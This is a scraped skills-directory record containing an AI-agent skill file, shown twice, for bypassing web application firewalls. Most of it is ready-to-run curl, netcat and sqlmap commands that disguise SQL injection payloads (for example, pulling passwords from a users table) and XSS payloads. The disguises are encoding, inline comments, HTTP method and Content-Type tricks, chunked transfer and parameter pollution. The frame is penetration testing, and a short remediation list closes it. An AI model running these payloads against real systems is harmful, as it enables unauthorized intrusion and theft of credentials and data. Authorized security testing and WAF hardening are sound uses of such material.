[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7AAG6QW493MS3QWTTK4VDPR":3,"skill-same:01M7AAG6QW493MS3QWTTK4VDPR":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":14,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7AAG6QW493MS3QWTTK4VDPR","performing-web-application-firewall-bypass",null,"Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF rule effectiveness and bypass resistance.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-web-application-firewall-bypass\ndescription: Bypasses Web Application Firewall protections using encoding tricks,\n  HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle\n  SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when\n  a confirmed vulnerability is blocked by a WAF, during penetration tests or red\n  team engagements requiring bypass of perimeter security controls, or when evaluating\n  WAF rule effectiveness and bypass resistance.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- waf-bypass\n- waf-evasion\n- sql-injection\n- xss\n- payload-obfuscation\n- encoding-bypass\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\n---\n\n# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert&#40;1&#41;\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n","# Performing Web Application Firewall Bypass\n\n## When to Use\n- When confirmed vulnerabilities are blocked by WAF signature-based detection\n- During penetration testing where WAF prevents exploitation of known issues\n- When evaluating WAF rule effectiveness against evasion techniques\n- During red team engagements requiring bypass of perimeter security controls\n- When testing custom WAF rules for completeness and bypass resistance\n\n## Prerequisites\n- Burp Suite Professional with SQLMap integration\n- wafw00f for WAF fingerprinting and identification\n- SQLMap with tamper scripts for automated WAF bypass\n- Understanding of WAF detection mechanisms (signature, regex, behavioral)\n- Collection of encoding and obfuscation techniques per attack type\n- Knowledge of HTTP protocol nuances exploitable for evasion\n\n## Workflow\n\n### Step 1 — Identify and Fingerprint the WAF\n```bash\n# Detect WAF using wafw00f\nwafw00f http:\u002F\u002Ftarget.com\n\n# Manual WAF detection via response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -iE \"x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai\"\n\n# Trigger WAF with known bad payload and analyze response\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\" -v\n# Look for: 403 Forbidden, custom block page, CAPTCHA challenge\n\n# Common WAF indicators:\n# Cloudflare: cf-ray header, __cfduid cookie\n# AWS WAF: x-amzn-requestid\n# ModSecurity: Mod_Security or OWASP CRS error messages\n# Akamai: AkamaiGHost header\n# Imperva: incap_ses cookie, visid_incap cookie\n```\n\n### Step 2 — Bypass with Encoding and Obfuscation\n```bash\n# URL encoding bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%27%20OR%201%3D1--\"\n\n# Double URL encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%2527%2520OR%25201%253D1--\"\n\n# Unicode encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1%u0027%u0020OR%u00201%u003D1--\"\n\n# HTML entity encoding in body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fsearch \\\n  -d \"q=\u003Cscript>alert&#40;1&#41;\u003C\u002Fscript>\"\n\n# Mixed case SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UnIoN SeLeCt password FrOm users--\"\n\n# Inline comments between SQL keywords\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*!UNION*\u002F\u002F*!SELECT*\u002Fpassword\u002F*!FROM*\u002Fusers--\"\n\n# MySQL version-specific comments\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F 1,2,3--\"\n\n# Null bytes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%00 OR 1=1--\"\n\n# Tab and newline substitution for spaces\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'%09UNION%0ASELECT%0D1,2,3--\"\n```\n\n### Step 3 — Bypass with HTTP Method and Protocol Tricks\n```bash\n# Change HTTP method (WAFs may only inspect GET\u002FPOST)\ncurl -X PUT \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\ncurl -X PATCH \"http:\u002F\u002Ftarget.com\u002Fpage\" -d \"id=1' OR 1=1--\"\n\n# Use HTTP\u002F0.9 (no headers)\nprintf \"GET \u002Fpage?id=1' OR 1=1-- \\r\\n\" | nc target.com 80\n\n# Content-Type manipulation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded; charset=ibm037\" \\\n  -d \"id=1' OR 1=1--\"\n\n# Multipart form data (may bypass body inspection)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fpage \\\n  -F \"id=1' OR 1=1--\"\n\n# Chunked Transfer-Encoding\nprintf \"POST \u002Fpage HTTP\u002F1.1\\r\\nHost: target.com\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n4\\r\\nid=1\\r\\n11\\r\\n' OR 1=1--\\r\\n0\\r\\n\\r\\n\" | nc target.com 80\n\n# Parameter in unusual locations\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"X-Forwarded-For: 1' OR 1=1--\"\ncurl http:\u002F\u002Ftarget.com\u002Fpage -H \"Referer: http:\u002F\u002Ftarget.com\u002Fpage?id=1' OR 1=1--\"\n```\n\n### Step 4 — Bypass with Payload Splitting and HPP\n```bash\n# HTTP Parameter Pollution\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1' UNION&id=SELECT password FROM users--\"\n\n# Split payload across parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?id=1'\u002F*&q=*\u002FUNION SELECT 1,2,3--\"\n\n# JSON-based SQLi (many WAFs miss JSON payloads)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fquery \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"id\": \"1 AND 1=1 UNION SELECT password FROM users\"}'\n\n# JSON SQL injection with operators\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\":\"\", \"$where\":\"1==1\"}}'\n\n# XML-wrapped payloads\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d \"\u003Cdata>\u003Cid>1' UNION SELECT password FROM users--\u003C\u002Fid>\u003C\u002Fdata>\"\n```\n\n### Step 5 — Use SQLMap Tamper Scripts\n```bash\n# SQLMap with built-in tamper scripts\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=between,randomcase,space2comment\n\n# Common tamper scripts for WAF bypass:\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=charunicodeencode\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2mssqlhash\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=percentage\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=chardoubleencode,between\n\n# Multiple tamper scripts combined\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=randomcase,space2comment,between,charunicodeencode \\\n  --random-agent --level 5 --risk 3\n\n# Custom WAF bypass profile\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fpage?id=1\" \\\n  --tamper=space2comment,randomcase \\\n  --delay=2 --random-agent \\\n  --technique=B --batch\n```\n\n### Step 6 — XSS WAF Bypass Techniques\n```bash\n# Case variation\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\"\n\n# Event handler alternatives\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x oNerRor=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Csvg\u002Fonload=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cbody onpageshow=alert(1)>\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cmarquee onstart=alert(1)>\"\n\n# JavaScript URI scheme\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Ca href=javascript:alert(1)>click\u003C\u002Fa>\"\n\n# Template literal syntax\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>alert\\x601\\x60\u003C\u002Fscript>\"\n\n# Concatenation-based bypass\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cscript>al\\u0065rt(1)\u003C\u002Fscript>\"\n\n# HTML encoding within attributes\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=\u003Cimg src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>\"\n\n# Double encoding\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Signature Evasion | Obfuscating payloads to avoid matching WAF regex patterns |\n| Encoding Bypass | Using URL, Unicode, or HTML encoding to disguise malicious characters |\n| Protocol-Level Bypass | Exploiting HTTP protocol features (chunked encoding, method override) |\n| Tamper Scripts | SQLMap modules that transform payloads to evade specific WAF rules |\n| Content-Type Confusion | Sending payloads in unexpected content types the WAF does not inspect |\n| Parameter Pollution | Splitting payloads across duplicate parameters to evade per-parameter inspection |\n| Behavioral vs Signature | WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| wafw00f | WAF fingerprinting and identification |\n| SQLMap | Automated SQL injection with WAF bypass tamper scripts |\n| waf-bypass.com | Community-maintained WAF bypass payload database |\n| Awesome-WAF | Curated GitHub repository of WAF bypass techniques |\n| Burp Suite | HTTP proxy for manual payload crafting and WAF response analysis |\n| XSStrike | XSS scanner with WAF detection and bypass capabilities |\n\n## Common Scenarios\n\n1. **SQLi Through JSON** — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules\n2. **XSS via Event Handlers** — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules\n3. **Encoding Chain Bypass** — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF\n4. **Chunked Transfer Bypass** — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching\n5. **Method Override** — Send attack payloads via PUT\u002FPATCH methods or custom headers that WAF does not inspect\n\n## Output Format\n\n```\n## WAF Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **WAF Identified**: Cloudflare (via cf-ray header)\n- **Bypass Achieved**: Yes\n\n### WAF Detection Results\n| Payload Type | Blocked | Bypass Found |\n|-------------|---------|-------------|\n| Basic SQLi | Yes | Yes (JSON encoding) |\n| UNION SELECT | Yes | Yes (inline comments) |\n| XSS \u003Cscript> | Yes | Yes (SVG onload) |\n| Path Traversal | No | N\u002FA (not blocked) |\n\n### Successful Bypass Payloads\n| # | Original (Blocked) | Bypass Payload | Technique |\n|---|-------------------|---------------|-----------|\n| 1 | 1' OR 1=1-- | {\"id\":\"1' OR 1=1--\"} | JSON content-type |\n| 2 | UNION SELECT | \u002F*!50000UNION*\u002F \u002F*!50000SELECT*\u002F | MySQL version comments |\n| 3 | \u003Cscript>alert(1)\u003C\u002Fscript> | \u003Csvg\u002Fonload=alert(1)> | Alternative tag+event |\n\n### Remediation\n- Enable JSON body inspection in WAF rules\n- Implement behavioral analysis alongside signature detection\n- Add rules for uncommon HTML tags and event handlers\n- Enable deep content inspection for all HTTP methods\n- Implement request normalization before rule evaluation\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":41,"description":7,"mitre_attack":42},[26,27,28,29,30,31,32],"waf-bypass","waf-evasion","sql-injection","xss","payload-obfuscation","encoding-bypass","web-security","mahipal","cybersecurity","1.0",[37,38,39,40],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[43,44,45,46,47],"T1190","T1059.007","T1505.003","T1083","T1027","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-web-application-firewall-bypass","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-web-application-firewall-bypass",{"tool":61,"command":62},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-web-application-firewall-bypass",{"tool":64,"command":65},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-web-application-firewall-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",1788,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",6175,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-web-application-firewall-bypass\u002Fscripts\u002Fagent.py",[86,93,100,107,114,121],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":106,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> 